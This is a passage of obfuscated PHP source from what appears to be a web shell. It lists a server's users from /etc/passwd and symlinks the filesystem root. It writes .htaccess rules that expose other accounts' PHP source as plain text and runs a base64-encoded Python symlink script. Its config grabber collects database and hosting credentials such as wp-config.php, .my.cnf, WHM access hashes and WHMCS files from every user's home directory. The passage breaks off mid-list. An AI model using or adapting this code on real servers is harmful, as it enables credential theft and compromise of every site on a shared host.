"\12\74\164\141\x62\154\145\40\x61\x6c\151\147\156\75\x63\145\156\164\145\162\x20\142\x6f\x72\144\145\x72\x3d\61\40\163\164\171\154\145\75\47\167\x69\x64\x74\150\x3a\66\x30\x25\73\x62\157\162\144\x65\x72\x2d\143\157\x6c\x6f\162\x3a\x23\63\63\63\x33\x33\x33\73\x27\76\xa\x3c\x74\x72\76\12\x3c\x74\x64\x20\141\154\151\x67\156\x3d\143\145\x6e\x74\145\162\x3e\74\x66\x6f\x6e\164\40\163\x69\172\x65\x3d\x32\x3e\x53\x2e\x20\116\157\56\74\57\x66\x6f\x6e\x74\x3e\x3c\x2f\164\x64\76\xa\x3c\164\x64\40\x61\154\151\x67\156\x3d\x63\145\156\164\x65\162\76\74\146\157\156\x74\40\163\151\172\145\75\x32\x3e\104\157\155\x61\x69\156\163\74\x2f\146\157\x6e\164\76\x3c\57\164\x64\x3e\xa\74\164\144\x20\x61\154\151\147\x6e\75\143\145\x6e\x74\145\x72\76\x3c\x66\157\156\164\x20\163\x69\x7a\145\75\62\76\125\163\x65\162\163\74\57\x66\157\x6e\x74\76\74\57\x74\x64\76\12\74\164\144\x20\141\154\151\147\x6e\x3d\143\145\156\164\x65\162\x3e\x3c\146\157\156\x74\40\163\151\172\145\75\62\x3e\123\x79\155\154\x69\x6e\x6b\x3c\57\146\x6f\156\164\76\74\57\164\x64\76\12\x3c\57\164\x72\x3e"; $dcount = 1; foreach ($d0mains as $d0main) { if (eregi("\172\157\156\145", $d0main)) { preg_match_all("\43\x7a\x6f\x6e\x65\40\42\x28\x2e\x2a\51\x22\43", $d0main, $domains); flush(); if (strlen(trim($domains[1][0])) > 2) { $user = posix_getpwuid(@fileowner("\57\145\164\143\57\166\141\x6c\x69\x61\x73\x65\163\57" . $domains[1][0])); echo "\x3c\164\x72\40\141\154\x69\x67\156\75\143\145\x6e\164\145\162\76\x3c\164\x64\x3e\74\146\x6f\x6e\164\x20\163\151\x7a\145\x3d\x32\76" . $dcount . "\x3c\x2f\146\x6f\x6e\x74\76\x3c\57\164\x64\76\12\x3c\164\144\40\141\154\151\147\x6e\x3d\x6c\145\x66\x74\76\74\141\x20\150\x72\x65\x66\x3d\x68\164\x74\160\72\x2f\57\167\x77\167\x2e" . $domains[1][0] . "\57\76\x3c\146\x6f\x6e\x74\x20\143\x6c\x61\x73\163\x3d\164\170\x74\x3e" . $domains[1][0] . "\74\x2f\x66\x6f\x6e\x74\x3e\74\x2f\x61\x3e\x3c\57\x74\x64\76\xa\74\164\x64\x3e" . $user["\x6e\141\155\x65"] . "\x3c\x2f\x74\144\76\xa\74\164\x64\76\x3c\x61\40\150\x72\x65\146\75\47{$full}\57\x45\x78\143\x5f\163\x79\155\x2f\162\x6f\x6f\x74\57\150\157\155\x65\57" . $user["\x6e\141\155\x65"] . "\57\160\165\x62\154\x69\143\137\150\x74\x6d\x6c\47\x20\164\141\x72\147\145\164\x3d\47\x5f\x62\x6c\x61\x6e\153\x27\76\74\146\x6f\156\164\x20\x63\x6c\x61\x73\163\75\x74\x78\x74\x3e\123\171\155\x6c\151\156\x6b\x3c\x2f\x66\x6f\156\x74\76\x3c\57\x61\x3e\74\57\x74\144\x3e\x3c\x2f\164\162\x3e"; flush(); $dcount++; } } } echo "\74\x2f\x74\x61\x62\154\x65\76"; } else { $TEST = @file("\x2f\x65\164\x63\x2f\x70\141\x73\x73\x77\144"); if ($TEST) { @mkdir("\x45\x78\143\x5f\x73\x79\x6d", 511); @chdir("\105\170\143\137\x73\171\x6d"); exe("\x6c\x6e\x20\x2d\x73\40\x2f\x20\162\157\157\x74"); $file3 = "\117\160\164\151\x6f\x6e\163\x20\111\x6e\144\x65\x78\x65\x73\40\x46\x6f\154\154\x6f\167\123\171\x6d\x4c\151\x6e\x6b\163\xa\104\x69\x72\145\143\164\x6f\x72\x79\x49\x6e\x64\x65\x78\x20\105\170\143\x2e\x68\164\x6d\xa\x41\x64\144\x54\171\x70\145\x20\164\x65\170\x74\x2f\160\x6c\141\x69\x6e\40\56\160\x68\160\12\x41\x64\144\x48\141\x6e\x64\154\145\162\40\x74\x65\x78\164\57\x70\154\141\x69\x6e\40\56\160\150\x70\xa\x53\141\164\151\163\x66\171\40\x41\156\x79"; $fp3 = fopen("\56\150\x74\x61\143\x63\x65\163\x73", "\x77"); $fw3 = fwrite($fp3, $file3); @fclose($fp3); echo "\xa\x20\x3c\x74\141\142\x6c\145\40\141\x6c\151\x67\x6e\75\x63\145\156\164\145\162\40\x62\x6f\162\x64\x65\x72\75\61\76\x3c\x74\162\76\xa\x20\x3c\x74\x64\x20\x61\154\x69\x67\x6e\x3d\143\x65\156\164\x65\x72\76\x3c\x66\157\x6e\164\40\163\151\172\145\x3d\63\76\x53\56\40\116\157\56\74\57\x66\157\156\164\76\x3c\x2f\164\144\x3e\xa\40\74\164\144\40\141\154\x69\x67\x6e\x3d\x63\x65\156\164\x65\162\x3e\x3c\x66\157\x6e\164\40\x73\x69\172\x65\75\x33\x3e\125\x73\x65\162\163\74\x2f\x66\157\x6e\x74\76\74\x2f\x74\x64\76\xa\x20\x3c\164\x64\40\x61\154\x69\147\156\x3d\x63\x65\x6e\164\x65\x72\76\74\x66\157\x6e\x74\40\163\x69\172\x65\x3d\63\x3e\123\x79\x6d\x6c\x69\156\x6b\x3c\57\x66\x6f\156\164\x3e\74\57\164\144\76\x3c\57\x74\162\76"; $dcount = 1; $file = fopen("\x2f\x65\x74\x63\x2f\x70\141\x73\163\x77\144", "\x72") or die("\125\x6e\141\142\x6c\145\40\164\x6f\40\x6f\x70\x65\156\x20\146\151\154\x65\x21"); while (!feof($file)) { $s = fgets($file); $matches = array(); $t = preg_match("\57\x5c\57\50\56\52\77\51\134\x3a\x5c\x2f\x2f\x73", $s, $matches); $matches = str_replace("\x68\x6f\155\145\x2f", '', $matches[1]); if (strlen($matches) > 12 || strlen($matches) == 0 || $matches == "\142\x69\x6e" || $matches == "\145\164\143\x2f\130\x31\61\57\146\x73" || $matches == "\x76\x61\162\x2f\x6c\x69\x62\x2f\156\x66\x73" || $matches == "\x76\x61\162\57\141\162\x70\167\x61\164\143\150" || $matches == "\x76\x61\x72\x2f\147\157\160\x68\145\x72" || $matches == "\x73\x62\151\156" || $matches == "\166\141\162\57\141\x64\155" || $matches == "\165\x73\x72\x2f\x67\141\x6d\x65\163" || $matches == "\166\x61\x72\x2f\x66\164\x70" || $matches == "\x65\164\143\x2f\x6e\164\x70" || $matches == "\166\x61\162\x2f\167\167\x77" || $matches == "\x76\x61\162\x2f\156\141\155\145\x64") { continue; } echo "\74\x74\162\x3e\x3c\164\144\x20\x61\x6c\151\x67\156\x3d\143\145\156\x74\x65\162\x3e\x3c\x66\157\x6e\x74\40\163\x69\x7a\x65\75\x32\76" . $dcount . "\x3c\x2f\x74\x64\76\12\40\74\164\144\40\141\x6c\151\x67\156\x3d\143\145\x6e\x74\145\162\x3e\74\x66\x6f\x6e\164\x20\x63\154\141\163\x73\75\x74\170\164\x3e" . $matches . "\x3c\x2f\164\144\x3e"; echo "\x3c\x74\x64\40\x61\x6c\151\x67\156\75\143\x65\156\164\x65\x72\76\74\146\x6f\156\164\x20\x63\154\x61\x73\163\x3d\164\x78\x74\x3e\x3c\141\x20\x68\x72\145\146\x3d{$fullx}\57\x45\x78\143\x5f\163\171\155\57\162\x6f\157\x74\x2f\150\x6f\x6d\x65\57" . $matches . "\x2f\160\165\x62\x6c\151\x63\x5f\150\164\x6d\154\x20\x74\141\x72\x67\x65\x74\x3d\x27\x5f\142\x6c\x61\156\153\47\76\x53\x79\155\x6c\x69\x6e\x6b\74\x2f\x61\x3e\74\x2f\164\144\76\x3c\57\164\162\76"; $dcount++; } fclose($file); echo "\74\57\164\141\142\x6c\145\x3e"; } else { if ($os != "\x57\x69\156\x64\157\x77\163") { @mkdir("\x45\x78\x63\137\x73\171\155", 511); @chdir("\105\170\x63\137\163\171\155"); @exe("\x6c\x6e\40\55\x73\40\57\x20\162\157\157\x74"); $file3 = "\xa\x20\117\160\x74\151\157\156\x73\x20\x49\x6e\x64\x65\170\x65\163\x20\106\x6f\154\x6c\157\x77\123\x79\x6d\114\x69\156\153\163\12\x44\151\x72\145\x63\x74\157\162\171\111\x6e\x64\x65\170\x20\105\x78\x63\56\x68\x74\x6d\xa\x41\144\x64\124\x79\x70\145\x20\164\145\170\164\57\160\154\x61\x69\156\x20\56\x70\x68\160\12\101\144\144\x48\x61\x6e\x64\154\x65\x72\x20\x74\x65\170\164\57\160\x6c\141\x69\156\40\x2e\160\150\160\xa\x53\141\164\151\163\146\x79\x20\x41\156\171\12"; $fp3 = fopen("\56\x68\x74\141\x63\x63\x65\x73\163", "\x77"); $fw3 = fwrite($fp3, $file3); @fclose($fp3); echo "\12\40\74\x68\x32\76\74\143\x65\156\x74\x65\x72\x3e\123\171\x6d\154\x69\156\153\x32\40\x59\x3c\x2f\143\x65\x6e\164\x65\162\x3e\74\57\150\62\76\12\40\74\164\141\142\154\x65\40\141\x6c\151\x67\x6e\75\x63\145\x6e\164\145\162\x20\142\x6f\x72\x64\x65\162\75\61\x3e\74\164\x72\x3e\12\40\x3c\x74\x64\40\x61\x6c\151\x67\156\x3d\x63\x65\156\x74\x65\162\76\74\146\x6f\156\x74\40\163\151\172\145\75\63\x3e\x49\x44\74\x2f\x66\157\x6e\x74\x3e\74\x2f\x74\x64\76\xa\40\x3c\x74\x64\40\141\154\151\x67\156\75\143\145\156\164\x65\162\x3e\74\x66\x6f\x6e\164\x20\x73\x69\x7a\x65\x3d\x33\x3e\x55\x73\145\x72\x73\x3c\57\x66\157\x6e\x74\76\74\57\x74\144\76\xa\x20\x3c\164\x64\x20\x61\154\151\x67\156\x3d\x63\x65\156\x74\x65\x72\76\x3c\146\x6f\x6e\164\40\x73\151\172\x65\x3d\x33\76\x53\x79\155\x6c\151\x6e\x6b\x3c\x2f\146\157\x6e\164\76\x3c\57\164\144\x3e\74\x2f\x74\x72\76"; $temp = ''; $val1 = 0; $val2 = 1000; for (; $val1 <= $val2; $val1++) { $uid = @posix_getpwuid($val1); if ($uid) { $temp .= join("\x3a", $uid) . "\12"; } } echo "\x3c\x62\x72\x2f\76"; $temp = trim($temp); $file5 = fopen("\164\x65\163\164\56\164\170\x74", "\x77"); fputs($file5, $temp); fclose($file5); $dcount = 1; $file = fopen("\164\x65\x73\164\56\164\170\164", "\x72") or die("\x55\x6e\x61\x62\154\145\x20\x74\x6f\40\157\160\x65\156\40\x66\151\154\x65\41"); while (!feof($file)) { $s = fgets($file); $matches = array(); $t = preg_match("\57\x5c\x2f\x28\x2e\x2a\x3f\51\134\72\x5c\57\x2f\163", $s, $matches); $matches = str_replace("\150\157\155\x65\57", '', $matches[1]); if (strlen($matches) > 12 || strlen($matches) == 0 || $matches == "\x62\x69\156" || $matches == "\145\164\143\x2f\130\61\61\57\146\x73" || $matches == "\166\x61\162\57\154\x69\142\x2f\x6e\x66\x73" || $matches == "\x76\141\162\57\x61\x72\x70\167\141\x74\x63\x68" || $matches == "\x76\x61\x72\57\x67\x6f\x70\x68\x65\x72" || $matches == "\163\x62\151\156" || $matches == "\x76\x61\x72\x2f\141\x64\x6d" || $matches == "\x75\163\x72\57\147\141\155\x65\x73" || $matches == "\166\x61\x72\x2f\x66\164\x70" || $matches == "\x65\x74\x63\57\x6e\x74\x70" || $matches == "\x76\141\x72\x2f\x77\x77\167" || $matches == "\x76\141\x72\57\x6e\x61\x6d\x65\x64") { continue; } echo "\x3c\x74\x72\x3e\x3c\x74\144\40\x61\154\151\147\156\75\x63\x65\x6e\x74\145\162\76\x3c\x66\x6f\156\x74\x20\163\151\172\x65\75\62\x3e" . $dcount . "\74\x2f\164\x64\x3e\12\40\74\164\144\40\141\x6c\x69\147\156\x3d\143\145\x6e\164\x65\162\x3e\x3c\146\x6f\156\x74\40\143\154\x61\163\163\x3d\x74\170\x74\x3e" . $matches . "\x3c\x2f\164\x64\76"; echo "\x3c\164\144\x20\141\154\151\147\x6e\75\x63\x65\x6e\x74\x65\162\76\x3c\x66\x6f\x6e\164\x20\143\x6c\141\x73\x73\x3d\164\x78\164\76\74\141\40\150\162\x65\146\x3d{$fullx}\57\x45\170\143\x5f\163\171\x6d\57\162\157\x6f\164\x2f\150\x6f\x6d\145\x2f" . $matches . "\57\x70\165\x62\x6c\151\x63\137\x68\x74\155\x6c\40\x74\x61\x72\147\x65\x74\x3d\47\x5f\x62\154\x61\156\153\47\x3e\x53\171\155\154\151\156\153\x3c\57\141\76\74\57\164\144\76\74\57\x74\162\76"; $dcount++; } fclose($file); echo "\x3c\x2f\164\141\142\154\x65\76\x3c\57\x63\x65\x6e\164\x65\162\x3e"; unlink("\164\145\x73\x74\x2e\x74\x78\164"); } else { echo "\x3c\x63\145\156\164\x65\x72\76\x3c\146\x6f\156\x74\40\x73\151\172\145\x3d\63\x3e\x43\141\156\156\157\x74\40\143\162\x65\141\164\x65\40\123\x79\x6d\154\151\x6e\153\74\57\x66\157\156\x74\x3e\74\57\x63\145\x6e\x74\145\162\76"; } } } } elseif (isset($_POST["\x73\x79\155\154\151\x6e\153\x5f\160\171"])) { $sym_dir = mkdir("\x73\141\137\x73\171\155\x70\171", 493); chdir("\163\141\x5f\x73\x79\155\x70\x79"); $file_sym = "\x73\171\x6d\x2e\160\x79"; $sym_script = "\111\x79\x38\161\125\110\154\60\141\x47\x39\x75\x44\121\x6f\x4e\x43\x6d\x6c\x74\x63\107\x39\x79\144\x43\102\60\x61\x57\61\154\104\x51\x70\160\x62\130\x42\166\143\156\121\147\142\x33\x4d\116\x43\155\x6c\x74\143\107\71\171\x64\103\x42\172\145\130\115\x4e\103\x6d\x6c\x74\x63\107\x39\171\144\x43\102\x79\132\x51\60\x4b\x44\x51\x70\166\x63\171\65\172\x65\x58\116\x30\132\x57\x30\x6f\111\155\x4e\x76\142\107\71\171\x49\x45\x4d\x69\x4b\121\x30\113\x44\121\160\x6f\144\x47\105\x67\x50\123\x41\151\x58\x47\x35\x47\141\127\x78\x6c\111\104\x6f\x67\x4c\x6d\150\x30\131\x57\x4e\x6a\132\x58\x4e\x7a\x49\103\x38\x76\111\x45\x4e\171\132\127\x46\x30\x5a\x57\x51\147\x55\x33\x56\x6a\131\62\x56\x7a\143\62\x5a\61\x62\x47\x78\x35\111\x56\170\x75\x49\x67\x30\x4b\x5a\x69\x41\71\x49\x43\112\x42\142\107\167\x67\x55\110\x4a\x76\x59\x32\x56\x7a\x63\62\126\x7a\111\x45\x52\166\x62\155\125\x68\x58\x47\x35\x54\x65\127\x31\x73\x61\x57\x35\x72\x49\x45\x4a\65\x63\x47\106\x7a\x63\62\x56\x6b\111\x46\116\x31\x59\x32\116\x6c\x63\x33\x4e\155\144\x57\170\x73\x65\x53\x46\143\142\151\x49\116\103\156\102\171\141\127\65\60\x49\103\112\x63\142\x69\x49\x4e\x43\x6e\102\x79\x61\127\65\60\111\103\112\x2b\111\x69\x6f\62\115\101\60\x4b\104\121\x70\166\143\171\x35\164\x59\127\x74\x6c\132\x47\154\171\143\171\x67\156\x63\62\x46\x30\141\x57\x35\156\x5a\x32\x46\172\145\x57\x31\x77\x65\123\x63\x70\104\121\x70\x76\143\x79\x35\152\x61\107\x52\160\x63\151\147\156\143\x32\106\x30\x61\x57\65\156\x5a\62\106\172\x65\127\x31\167\145\x53\143\x70\104\121\x6f\116\103\156\116\61\x63\63\111\x39\127\x31\60\x4e\103\x6e\116\x70\x64\x47\x56\x34\120\126\164\144\x44\121\160\166\143\x79\65\x7a\145\130\x4e\x30\132\x57\60\157\111\x6d\170\x75\x49\x43\x31\172\111\103\70\x67\143\62\x46\60\141\127\65\156\132\62\x45\x75\x64\x48\150\x30\111\x69\153\116\x43\x67\x30\x4b\141\103\101\71\111\103\x4a\x50\143\110\x52\160\x62\x32\65\x7a\111\x45\154\165\132\107\126\64\x5a\x58\115\x67\122\x6d\71\163\142\x47\x39\63\125\63\154\x74\124\x47\x6c\x75\141\63\116\x63\142\x6b\122\x70\143\x6d\126\152\x64\x47\x39\171\x65\125\154\x75\132\x47\x56\x34\111\110\x4e\150\144\107\154\x75\x5a\x32\x64\x68\x4c\156\102\x6f\x64\107\61\163\130\x47\x35\102\x5a\x47\x52\125\145\x58\102\154\x49\x48\122\x34\x64\x43\x41\165\x63\107\150\167\x58\107\x35\x42\132\107\122\111\131\127\x35\153\142\107\126\x79\111\110\122\64\144\103\x41\x75\143\x47\150\x77\x49\147\x30\x4b\142\123\x41\x39\111\107\71\167\132\x57\x34\x6f\111\x69\x35\157\x64\x47\x46\x6a\x59\x32\x56\x7a\x63\171\111\x73\111\x6e\143\162\111\151\153\x4e\103\155\x30\165\144\x33\112\x70\144\x47\x55\157\x61\x43\153\x4e\x43\155\60\x75\x59\62\170\x76\x63\62\125\157\x4b\121\60\113\x63\110\112\160\x62\156\x51\147\141\110\122\150\104\x51\157\x4e\103\x6e\116\155\x49\104\60\147\x49\x6a\170\x6f\144\x47\61\163\x50\152\x78\60\x61\130\122\x73\x5a\x54\65\124\145\127\x31\163\141\127\65\x72\111\106\x42\x35\144\107\x68\x76\142\152\x77\x76\x64\107\x6c\x30\x62\107\125\x2b\x50\x47\x4e\154\x62\x6e\122\154\x63\152\x34\x38\x59\x6e\111\53\120\x47\x5a\166\x62\156\121\147\x59\62\71\x73\142\x33\111\x39\144\62\150\x70\x64\107\x55\x67\143\62\x6c\66\132\x54\60\172\x50\x6a\170\60\131\x57\112\x73\132\x54\x34\x69\x44\x51\x6f\116\103\x6d\70\x67\120\x53\102\166\143\x47\x56\x75\113\x43\x63\x76\x5a\x58\122\152\114\x33\x42\x68\143\63\116\63\132\x43\143\x73\112\63\x49\x6e\x4b\121\60\x4b\x62\172\61\x76\x4c\156\x4a\x6c\131\127\x51\157\x4b\121\x30\113\x62\171\x41\71\x49\x48\x4a\154\114\155\x5a\x70\x62\x6d\x52\x68\142\107\167\157\x4a\171\71\x6f\142\62\61\x6c\x4c\x31\x78\63\x4b\171\x63\163\x62\x79\153\x4e\x43\147\x30\x4b\x5a\x6d\x39\x79\111\110\x68\x31\x63\63\111\x67\x61\127\x34\147\142\x7a\x6f\116\x43\x67\x6c\64\144\130\116\x79\120\x58\x68\61\x63\x33\x49\165\143\155\x56\x77\142\107\x46\152\x5a\x53\147\156\x4c\x32\x68\x76\142\x57\125\166\x4a\171\167\156\x4a\x79\153\x4e\103\x67\154\172\144\x58\116\x79\x4c\x6d\x46\x77\x63\107\126\x75\x5a\103\150\x34\144\130\116\x79\113\x51\x30\113\x63\x48\112\x70\142\x6e\x51\147\x49\151\60\151\113\152\x4d\167\104\121\160\x34\143\x32\x6c\60\132\x53\x41\71\x49\107\71\x7a\114\155\x78\x70\x63\x33\122\153\x61\x58\111\157\111\151\x39\x32\131\x58\x49\x76\x62\x6d\106\164\132\x57\x51\151\x4b\121\60\x4b\x44\x51\160\155\142\x33\111\x67\x65\x48\150\172\x61\x58\x52\x6c\111\107\x6c\165\x49\x48\150\172\141\130\x52\x6c\117\x67\60\x4b\103\130\150\x34\143\62\x6c\60\132\124\x31\x34\x65\110\116\x70\144\x47\x55\165\x63\x6d\x56\167\x62\107\x46\x6a\x5a\123\x67\151\114\x6d\x52\x69\x49\151\167\x69\x49\x69\x6b\116\103\x67\x6c\x7a\141\130\122\x6c\145\x43\65\x68\x63\x48\x42\x6c\x62\x6d\x51\157\x65\110\x68\x7a\141\130\122\154\x4b\x51\60\x4b\143\110\112\160\x62\x6e\121\x67\132\147\60\113\143\107\106\60\x61\x44\61\x76\143\171\65\x6e\x5a\x58\122\x6a\144\62\121\x6f\x4b\121\x30\x4b\x61\127\x59\x67\111\x69\71\167\x64\127\x4a\x73\x61\x57\x4e\x66\141\x48\x52\x74\x62\103\70\x69\111\107\x6c\x75\111\110\x42\x68\144\x47\x67\66\104\x51\157\x4a\143\x47\106\x30\x61\104\60\x69\114\x33\x42\x31\131\155\170\x70\131\61\x39\x6f\x64\107\61\163\114\171\111\x4e\x43\x6d\126\163\x63\62\125\x36\104\121\x6f\112\143\107\106\60\141\103\101\x39\111\x43\x49\166\141\110\x52\x74\142\x43\x38\151\104\121\160\152\142\63\x56\165\144\107\x56\171\120\124\105\116\103\155\154\167\x63\172\x31\166\x63\x47\x56\165\113\x43\x4a\x7a\x59\x58\122\x70\142\155\144\156\131\123\x35\x77\141\110\122\164\142\x43\x49\163\111\x6e\143\151\x4b\x51\60\113\x61\x58\102\x7a\x4c\156\144\171\x61\130\x52\154\x4b\110\116\155\113\121\x30\x4b\104\x51\x70\155\142\x33\x49\x67\x5a\x6e\x56\x7a\143\x69\102\x70\x62\x69\x42\x7a\x64\130\116\x79\117\147\60\x4b\103\x57\x5a\166\143\x69\x42\x6d\x63\x32\154\60\132\123\102\160\x62\x69\x42\x7a\141\130\x52\x6c\145\104\157\116\103\147\153\112\x5a\156\x55\71\x5a\156\126\x7a\143\154\x73\167\117\x6a\126\x64\x44\121\x6f\112\x43\x58\x4d\x39\132\x6e\x4e\x70\x64\x47\126\x62\x4d\104\x6f\61\130\x51\x30\113\103\x51\x6c\160\132\x69\102\155\x64\124\60\71\143\x7a\x6f\x4e\x43\147\153\112\103\x57\x6c\x77\x63\171\65\63\x63\155\x6c\x30\x5a\123\147\151\x50\x47\x4a\166\x5a\x48\x6b\x67\131\155\144\152\142\x32\x78\166\x63\x6a\61\x69\x62\x47\106\x6a\141\x7a\64\x38\x64\x48\x49\x2b\120\x48\122\153\111\110\116\60\x65\127\x78\154\x50\x57\132\x76\142\x6e\121\x74\x5a\x6d\106\164\x61\x57\x78\x35\x4f\x6d\116\x68\x62\107\154\x69\143\x6d\153\67\132\x6d\71\165\x64\103\61\63\x5a\127\154\156\x61\110\x51\x36\131\x6d\x39\x73\x5a\x44\164\152\x62\x32\170\166\x63\x6a\160\63\x61\107\154\60\132\124\163\x2b\112\130\x4d\x38\114\63\122\153\x50\x6a\170\60\x5a\103\102\172\x64\110\x6c\x73\x5a\x54\x31\155\x62\62\x35\x30\114\x57\x5a\x68\142\127\154\x73\x65\124\160\x6a\131\x57\x78\160\x59\x6e\x4a\x70\x4f\x32\x5a\x76\142\156\x51\164\144\62\x56\x70\132\62\150\x30\117\155\112\166\x62\107\121\67\131\62\71\163\x62\63\x49\66\143\155\126\153\117\x7a\x34\154\x63\x7a\x77\x76\144\x47\121\53\120\x48\122\x6b\111\110\116\x30\145\x57\x78\154\120\127\132\166\x62\x6e\121\164\132\x6d\x46\164\141\x57\170\x35\117\155\x4e\150\x62\107\154\x69\143\155\153\67\132\155\71\165\x64\103\61\63\x5a\127\154\156\x61\x48\121\66\x59\x6d\x39\x73\132\x44\163\x2b\120\107\105\x67\x61\110\112\x6c\132\x6a\61\x7a\x59\130\122\160\x62\x6d\144\x6e\x59\x53\65\x30\x65\x48\x51\x76\141\x47\x39\x74\x5a\123\x38\154\143\171\x56\172\111\x48\x52\x68\143\x6d\144\x6c\144\104\61\x66\131\x6d\170\x68\142\x6d\x73\x67\x50\x69\126\x7a\120\x43\71\150\x50\152\x77\166\x64\107\121\53\111\151\x55\157\x59\x32\x39\61\142\x6e\x52\x6c\143\151\x78\155\x64\130\116\x79\x4c\x47\x5a\x31\x63\63\111\x73\x63\107\106\60\x61\x43\x78\155\143\x32\154\60\x5a\123\x6b\x70\104\121\157\112\x43\121\154\x6a\x62\63\126\x75\144\107\x56\x79\x50\127\x4e\166\144\127\x35\x30\x5a\x58\x49\162\x4d\x51\75\75"; $sym = fopen($file_sym, "\x77"); fwrite($sym, b64dd($sym_script)); chmod($file_sym, 493); $jancok = exe("\x70\x79\x74\150\x6f\x6e\40\163\171\155\x2e\x70\x79"); echo "\74\x62\x72\x3e\74\x63\145\x6e\164\145\x72\76\104\157\x6e\x65\x20\56\x2e\x2e\40\74\x61\x20\150\162\145\146\75\47\151\141\x5f\163\171\x6d\160\171\x2f\x62\162\x75\144\x75\154\x73\171\155\x70\171\57\x27\40\164\x61\162\147\x65\164\75\47\137\142\154\x61\x6e\x6b\47\x3e\113\154\x69\153\x20\110\x65\x72\145\x3c\57\x61\76"; } } elseif (isset($_GET[hex("\x63\157\x6e\x66\151\147")])) { if ($_POST) { $passwd = $_POST["\x70\141\x73\163\x77\x64"]; mkdir("\115\x61\x72\151\x63\157\156\106\151\147", 511); $isi_htc = "\117\x70\x74\151\157\x6e\163\40\x61\x6c\154\xa\122\x65\161\x75\x69\x72\145\40\x4e\x6f\x6e\145\xa\x53\141\164\151\x73\x66\x79\x20\101\x6e\171"; $htc = fopen("\115\x61\162\151\143\157\x6e\106\151\x67\57\56\x68\x74\x61\143\143\145\x73\x73", "\167"); fwrite($htc, $isi_htc); preg_match_all("\x2f\50\56\x2a\x3f\51\x3a\170\x3a\57", $passwd, $user_config); foreach ($user_config[1] as $user_Mari) { $user_config_dir = "\x2f\x68\157\155\145\x2f{$user_Mari}\57\160\165\142\154\x69\143\x5f\x68\x74\x6d\x6c\x2f"; if (is_readable($user_config_dir)) { $grab_config = array("\57\150\157\155\x65\x2f{$user_Mari}\x2f\56\x6d\x79\56\143\156\x66" => "\143\x70\x61\156\x65\x6c", "\x2f\150\x6f\155\145\57{$user_Mari}\x2f\x2e\x61\143\143\145\x73\x73\x68\x61\x73\x68" => "\127\110\115\55\x61\143\143\145\163\x73\x68\x61\163\x68", "\57\150\x6f\x6d\145\x2f{$user_Mari}\57\x70\x75\x62\x6c\151\x63\137\150\164\155\x6c\x2f\142\x77\x2d\x63\157\x6e\146\151\x67\x73\x2f\143\157\x6e\146\151\x67\x2e\x69\x6e\151" => "\102\157\163\127\145\x62", "\57\x68\x6f\155\145\x2f{$user_Mari}\57\x70\165\142\154\x69\143\137\150\164\x6d\154\57\143\x6f\156\x66\151\147\x2f\x6b\x6f\x6e\145\153\x73\151\56\160\150\160" => "\x4c\x6f\153\x6f\x6d\145\144\x69\141", "\57\x68\x6f\x6d\x65\x2f{$user_Mari}\x2f\x70\165\142\x6c\x69\x63\137\x68\x74\x6d\154\x2f\x6c\x6f\x6b\157\x6d\x65\x64\151\141\57\143\157\x6e\x66\151\x67\57\153\x6f\x6e\x65\153\x73\x69\x2e\x70\150\x70" => "\114\x6f\153\x6f\x6d\145\x64\151\141", "\57\150\157\x6d\145\57{$user_Mari}\x2f\x70\x75\x62\x6c\151\143\x5f\150\164\x6d\x6c\57\143\154\151\145\156\164\141\x72\145\x61\57\143\x6f\x6e\x66\x69\x67\165\162\x61\x74\x69\157\x6e\56\x70\150\160" => "\127\x48\115\103\123", "\x2f\150\157\155\145\x2f{$user_Mari}\57\x70\x75\x62\x6c\x69\x63\137\150\164\x6d\154\57\x77\150\x6d\x2f\x63\157\x6e\x66\x69\x67\x75\x72\141\x74\151\157\156\56\x70\x68\160" => "\x57\110\x4d\103\x53", "\x2f\150\x6f\155\145\57{$user_Mari}\x2f\160\x75\142\x6c\151\143\137\150\164\x6d\x6c\57\x77\150\x6d\143\163\57\143\157\x6e\x66\x69\147\x75\162\x61\164\151\x6f\156\x2e\x70\150\160" => "\127\x48\x4d\103\x53", "\57\150\x6f\x6d\145\x2f{$user_Mari}\x2f\160\165\142\154\x69\x63\x5f\x68\x74\155\x6c\57\146\157\x72\165\155\57\x63\157\156\146\151\x67\56\160\x68\160" => "\160\150\160\102\102", "\x2f\150\157\155\x65\x2f{$user_Mari}\57\x70\x75\x62\x6c\x69\143\x5f\x68\x74\155\x6c\57\x73\151\164\145\x73\57\144\x65\x66\x61\165\154\164\57\x73\145\164\164\151\156\x67\x73\56\160\x68\160" => "\x44\x72\x75\x70\x61\x6c", "\x2f\150\157\x6d\x65\x2f{$user_Mari}\x2f\160\165\x62\x6c\151\x63\137\150\x74\x6d\154\x2f\143\x6f\156\x66\151\147\57\x73\145\164\164\x69\x6e\x67\163\56\151\156\x63\x2e\160\150\160" => "\x50\x72\145\163\164\141\123\150\157\x70", "\57\x68\x6f\x6d\x65\x2f{$user_Mari}\x2f\160\x75\x62\154\x69\x63\137\150\164\x6d\x6c\57\141\x70\x70\x2f\x65\x74\x63\x2f\x6c\157\x63\141\154\x2e\170\x6d\x6c" => "\115\141\x67\145\156\164\x6f", "\x2f\150\157\155\145\x2f{$user_Mari}\x2f\160\x75\x62\154\151\x63\137\150\x74\x6d\x6c\x2f\x6a\157\157\155\154\x61\x2f\x63\157\x6e\x66\x69\147\x75\x72\x61\164\x69\x6f\x6e\x2e\x70\150\x70" => "\x4a\x6f\157\155\x6c\x61", "\x2f\x68\x6f\x6d\145\57{$user_Mari}\x2f\x70\x75\x62\x6c\x69\x63\x5f\x68\164\155\x6c\x2f\143\157\x6e\146\151\x67\x75\x72\x61\164\151\157\x6e\x2e\160\150\x70" => "\x4a\x6f\157\155\x6c\141", "\x2f\150\157\155\x65\57{$user_Mari}\57\160\165\x62\x6c\151\143\x5f\x68\x74\x6d\x6c\x2f\x77\160\57\x77\160\x2d\x63\x6f\156\146\151\x67\56\x70\150\x70" => "\x57\x6f\162\x64\120\x72\x65\x73\163", "\57\150\157\x6d\x65\x2f{$user_Mari}\57\x70\x75\x62\154\x69\x63\x5f\150\164\x6d\x6c\57\167\157\162\144\x70\x72\145\163\x73\x2f\167\x70\x2d\143\x6f\x6e\146\151\x67\56\160\150\x70" => "\127\157\x72\144\120\162\145\163\163", "\x2f\150\157\155\x65\57{$user_Mari}\x2f\x70\x75\x62\x6c\x69\143\137\x68\164\x6d\x6c\x2f\x77\160\55\143\157\x6e\146\x69\x67\x2e\x70\x68\160" => "\127\x6f\162\x64\x50\x72\x65\163\163", 